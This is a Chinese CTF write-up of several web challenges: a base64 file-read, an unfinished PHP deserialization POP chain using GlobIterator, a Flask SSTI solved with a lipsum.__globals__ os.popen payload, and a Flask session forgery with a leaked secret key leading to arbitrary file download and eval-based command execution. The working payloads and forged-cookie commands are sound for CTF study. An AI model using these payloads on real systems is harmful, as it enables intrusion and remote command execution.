前言
抛开签到不看,题目姿势还是挺离谱的(
WEB
easy_signin
文件读取
打开题目,发现一张图片和一个参数img
很明显传入的值需要经过base64编码
这里试图传入system('ls');
出现报错,得知是由file_get_contents函数进行文件读取
但是我们不知道flag的位置,那么要读点什么呢?
这时候我想到报错信息中出现的index.php是一个可读取的文件,于是尝试读取
读取成功,打开图片看看
发现一串base64,解码找到flag
被遗忘的反序列化(未完成)
反序列化
加密爆破
打开看到题目反序列化源码
<?php
# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");
class EeE
{
public $text;
public $eeee;
public function __wakeup()
{
if ($this->text == "aaaa") {
echo lcfirst($this->text);
}
}
public function __get($kk)
{
echo "$kk,eeeeeeeeeeeee";
}
public function __clone()
{
$a = new cycycycy;
$a->aaa();
}
}
class cycycycy
{
public $a;
private $b;
public function aaa()
{
$get = $_GET['get'];
$get = cipher($get);
if ($get === "p8vfuv8g8v8py") {
eval($_POST["eval"]);
}
}
public function __invoke()
{
$a_a = $this->a;
echo "\$a_a\$";
}
}
class gBoBg
{
public $name;
public $file;
public $coos;
private $eeee = "-_-";
public function __toString()
{
if (isset($this->name)) {
$a = new $this->coos($this->file);
echo $a;
} else if (!isset($this->file)) {
return $this->coos->name;
} else {
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}
class w_wuw_w
{
public $aaa;
public $key;
public $file;
public function __wakeup()
{
if (!preg_match("/php|63|\*|\?/i", $this->key)) {
$this->key = file_get_contents($this->file);
} else {
echo "不行哦";
}
}
public function __destruct()
{
echo $this->aaa;
}
public function __invoke()
{
$this->aaa = clone new EeE;
}
}
$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);
这里先找反序列化的出口,很明显在cycycycy类aaa方法的eval函数进行命令执行
但是在上面有一个cipher
方法,这个方法不在当前的php文件下,那么就是check.php
里的方法
那么怎么得知check.php
的文件内容呢?
这个时候就回到最上面提示的txt文件,但是并没有给我们具体的文件名
于是就要思考如何读取这个txt文件的内容
可以看到在gBoBg类中有一个new实例化的语句,而且coos和file值是我们自己可定义的
class gBoBg
{
public $name;
public $file;
public $coos;
private $eeee = "-_-";
public function __toString()
{
if (isset($this->name)) {
$a = new $this->coos($this->file);
echo $a;
这时我们就要考虑到利用原生类进行文件读取
然后为了调用__toString方法我们这里需要触发一个echo,所以这里选择EeE类
exp1:
<?php
class EeE
{
public $text;
public $eeee;
}
class gBoBg
{
public $name;
public $file;
public $coos;
}
$a = new EeE;
$b = new gBoBg;
$a->text = $b;
$b->name = 'aaaa';
$b->file = '/*.txt';
$b->coos = 'GlobIterator';
echo serialize($a);
然后卡在传header这了555
easy_ssti
SSTI
打开题目,f12发现提示
访问下载app.zip并解压得到源码
from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)
@app.route('/hello/')
def hello(name=None):
return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
if "ge" in name:
return render_template_string('hello %s' % name)
elif "f" not in name:
return render_template_string('hello %s' % name)
else:
return 'Nonononon'
很明显在hello路径后存在ssti注入
直接payload一把梭
{{lipsum.__globals__.os.popen("ls /").read()}}
发现不行,于是尝试以传参方法执行命令
{{lipsum.__globals__.os.popen(request.args.get("a")).read()}}?a=ls /
成功,直接cat /flag
获取flag
easy_flask
session伪造+任意文件下载+python命令执行
进入题目,是一个登录框
随便注册一个账号登录,来到 /profile 路由
我们需要变成 admin
点击 learn,进入 /show 路由
发现是源码:
# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = {
}
@app.route('/')
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))
@app.route('/login/', methods=['GET', 'POST'])
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login.html', msg=msg)
@app.route('/register/', methods=['GET', 'POST'])
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register.html', msg=msg)
@app.route('/profile/')
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))
拿到secret_key:S3cr3tK3y
,接下来直接session伪造
python flask_session_cookie_manager3.py decode -s "S3cr3tK3y" -c "eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6ImFhYSJ9.Zu7dSw.jsAFgyiDFumwWh1D4g5y9beUjhc"
{'loggedin': True, 'role': 'user', 'username': 'aaa'}
python flask_session_cookie_manager3.py encode -s "S3cr3tK3y" -t "{'loggedin': True, 'role': 'admin', 'username': 'aaa'}"
eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6ImFkbWluIiwidXNlcm5hbWUiOiJhYWEifQ.Zu7e1w.3JAhGuoIVs_G9q0sLFTSO1g7tvk
伪造成admin,多出一个文件下载的点
存在任意文件读取,读取app.py拿到完整源码
# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = {
'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'}
}
@app.route('/')
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))
@app.route('/login/', methods=['GET', 'POST'])
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login2.html', msg=msg)
@app.route('/register/', methods=['GET', 'POST'])
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register2.html', msg=msg)
@app.route('/profile/')
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))
@app.route('/show/')
def show():
if 'loggedin' in session:
return render_template('show2.html')
@app.route('/download/')
def download():
if 'loggedin' in session:
filename = request.args.get('filename')
if 'filename' in request.args:
return send_file(filename, as_attachment=True)
return redirect(url_for('login'))
@app.route('/hello/')
def hello_world():
try:
s = request.args.get('eval')
return f"hello,{eval(s)}"
except Exception as e:
print(e)
pass
return "hello"
@app.route('/logout/')
def logout():
session.pop('loggedin', None)
session.pop('id', None)
session.pop('username', None)
session.pop('role', None)
return redirect(url_for('login'))
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8080)
发现 /hello 路由有命令执行
直接命令执行:
__import__('os').popen("ls /").read()